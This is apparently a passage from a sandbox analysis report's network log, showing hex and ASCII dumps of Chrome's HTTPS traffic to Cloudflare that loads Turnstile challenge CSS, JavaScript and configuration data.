1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c Data Ascii: #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #chal
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c Data Ascii: me-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-l
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 75 6f 34 73 36 66 64 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 Data Ascii: -dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.uo4s6fd{0%{fill:#de1303;stroke:#de1303}to{fi
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b Data Ascii: x-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 Data Ascii: x}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;jus
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 Data Ascii: 9;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49705	104.18.94.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:22 UTC	383	OUT	GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:22 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:22 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47532 Connection: close accept-ranges: bytes last-modified: Fri, 18 Oct 2024 17:38:58 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8dac6ae8fdef7d54-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:22 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 70 3d 65 5b 6c 5d 28 68 29 2c 66 3d 70 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 70 2e 64 6f 6e 65 3f 72 28 66 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 66 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var p=e[l](h),f=p.value}catch(s){n(s);return}p.done?r(f):Promise.resolve(f).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 51 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 Data Ascii: e","false"],e)}function gt(e){return L(["render","execute"],e)}var Qt=300,$t=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOver
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 73 29 7d 76 61 72 20 54 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 70 2c Data Ascii: age,"/").concat(s)}var Tt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),p,
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 70 3d 5b 6e 75 6c 6c 5d 3b 70 2e 70 75 73 68 2e 61 70 70 6c 79 28 70 2c 6c 29 3b 76 61 72 20 66 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 70 29 2c 73 3d 6e 65 77 20 66 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 Data Ascii: ect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var p=[null];p.push.apply(p,l);var f=Function.bind.apply(c,p),s=new f;return h&&J(s,h.prototype),s},Ie.apply(null,argument
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 67 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 Data Ascii: tion g(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}func
2024-10-30 15:25:22 UTC	1369	IN	Data Raw: 6f 70 3d 22 30 22 2c 70 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 70 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 70 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 70 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 70 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 66 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 66 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 66 2e 73 74 79 6c Data Ascii: op="0",p.style.left="0",p.style.transformOrigin="center center",p.style.overflowX="hidden",p.style.overflowY="auto",p.style.background="rgba(0,0,0,0.4)";var f=document.createElement("div");f.style.display="table-cell",f.style.verticalAlign="middle",f.styl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49708	104.18.95.41	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:23 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8dac6ae8de8646e3&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:23 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:23 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 125165 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8dac6aedbff22c94-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:23 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 62 61 58 49 73 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.baXIs4={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2024-10-30 15:25:23 UTC	1369	IN	Data Raw: 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 